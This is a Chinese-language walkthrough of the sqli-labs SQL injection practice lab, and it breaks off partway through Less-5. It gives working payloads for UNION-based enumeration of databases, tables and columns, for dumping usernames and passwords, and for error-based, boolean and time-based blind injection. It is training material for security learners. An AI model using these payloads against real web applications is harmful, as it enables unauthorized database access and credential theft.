目录
- Page-1(Basic Challenges)
-
- Less 1 GET - Error based - Single quotes - string (基于错误的GET单引号字符型注入)
- Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
- Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
- Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
- Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
- Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
- Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
- Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
- Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
- Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
- Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
- Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
- Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
- Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
- less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
- Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
- Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
- Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
- Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
- Page-2 (Advanced Injections)
-
- Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
- Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)
- Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)
- Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)
- Less - 24 Second Degree Injections *Real treat* -Store Injections (二次注入)
- Less-25 Trick with OR & AND (过滤了or和and)
- less 26 Trick with comments and space (过滤了注释和空格的注入)
- less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
- less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入
- Less-29 Protection with WAF 基于WAF的一个错误
- Less-30 Get-Blind Havaing with WAF
- Less-31 FUN with WAF
- Less-32 Bypass addslashes()
- Less-33 Bypass addslashes()
- Less-34 Bypass Add SLASHES
- Less-35 why care for addslashes()
information_schema.schemata包含所有数据库的名
字段 | 含义 |
---|---|
schema_name | 数据库名 |
information_schema.tables包含所有库的表名
字段 | 含义 |
---|---|
table_schema | 数据库名 |
table_name | 表名 |
information_schema.columns包含所有表的字段
字段 | 含义 |
---|---|
table_schema | 数据库名 |
table_name | 表名 |
column_name | 列名 |
Page-1(Basic Challenges)
Less 1 GET - Error based - Single quotes - string (基于错误的GET单引号字符型注入)
id=1显示正常,加上单引号id=1’页面报错
根据报错信息可以猜测输入的$id值在单引号中
查看源代码,验证猜想
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
以下id为非正确值,使用--+
截断,也可用#的url编码%23截断
payload
判断列数
?id=-1' order by 3--+
判断显示位
?id=-1' union select 1,2,3 --+
显示位为2和3
爆库名得库名为security
?id=-1' union select 1,2,database() --+
爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
或者
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
其中0x7365637572697479
为库名security
的16进制
得emails,referers,uagents,users四张表
爆users表字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
或者table_name=用users的16进制代替
得如下字段
user_id
first_name
last_name
user
password
avatar
last_login
failed_login
id
username
password
我们需要获取username以及对应的password的值
爆数据 用0x3a间隔数据
?id=-1' union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users --+
得到对应数据(列举五个)
id | username | password |
---|---|---|
1 | Dumb | Dumb |
2 | Angelina | I-kill-you |
3 | Dummy | p@ssword |
4 | secure | crappy |
5 | stupid | stupidity |
Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
跟Less-1的payload思路一样,不过$id的值没有放在引号中
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
同上,payload=?id=-1
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
同上,$id的值放在带括号的单引号中
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
同上,payload=?id=-1’)
Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
同上,$id的值放在双引号中
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
同上,payload=?id=-1"
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注,盲注分为三类
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
布尔盲注常用到以下几个函数
函数 | 含义 |
---|---|
left(a,b) | 左侧截取 a 的前b个字符 |
substr(a,b,c)/mid(a,b,c) | 从第 b 个字符开始 截取 a 中连续 c 个字符 |
ascii(a)/ord(a) | 将a转化为ascii码 |
时间盲注除以上函数外常用到以下函数
函数 | 含义 |
---|---|
if(exp,a,b) | 如果exp为真,则返回 a ,否则返回 b |
sleep(a) | 暂停 a 秒 |
报错盲注常用到以下函数
函数 | 含义 |
---|---|
extractvalue(a,concat(0x7e,b) | 将a插入xpath格式的b中,如果b不是该格式将报错 |
exp(a) | 返回自然对数e为底,a为幂的值,常用exp(~xxx)超出double范围报错 |
concat() | 该函数报错时将查询的信息显示出来 |
floor() | 取整函数 |
rand() | 产生一个0-1之间的随机数 |
count(*) | 返回行数 |
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
floor(rand()*2)要么为0要么为1,由concat函数连接后,返回database()0或者database()1,表中有多少数据就生成多少个该随机数值,对他们进行group by 分组,就只有database()0和database()1了,在加上count(*),就会因为键值重复而报错,database()可替换为其他查询语句
回到Less-5
布尔盲注
payload
判断数据库名长度
?id=1' and length(database())=8 --+
爆数据库名
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2)='se' --+
?id=1' and left(database(),3)='sec' --+
?id=1' and left(database(),4)='secu' --+
?id=1' and left(database(),5)='secur' --+
?id=1' and left(database(),6)='securi' --+
?id=1' and left(database(),7)='securit' --+
?id=1' and left(database(),8)='security' --+
爆表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+
可知第一张表第一个字符为e,依次类推
爆字段名
?id=1' and (ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117 --+
可知users表中第一个字段第一个字符为u,以此类推
爆数据
?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+
可知password字段中第一个数据第一个字符为D,以此类推
时间盲注
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况
payload=?id=1' and if(布尔盲注payload核心部分,sleep(5),1)--+
payload
判断数据库名长度
?id=1' and if(length(database())=8,sleep(5),1) --+
爆数据库名
?id=1' and if(left(database(),1)='s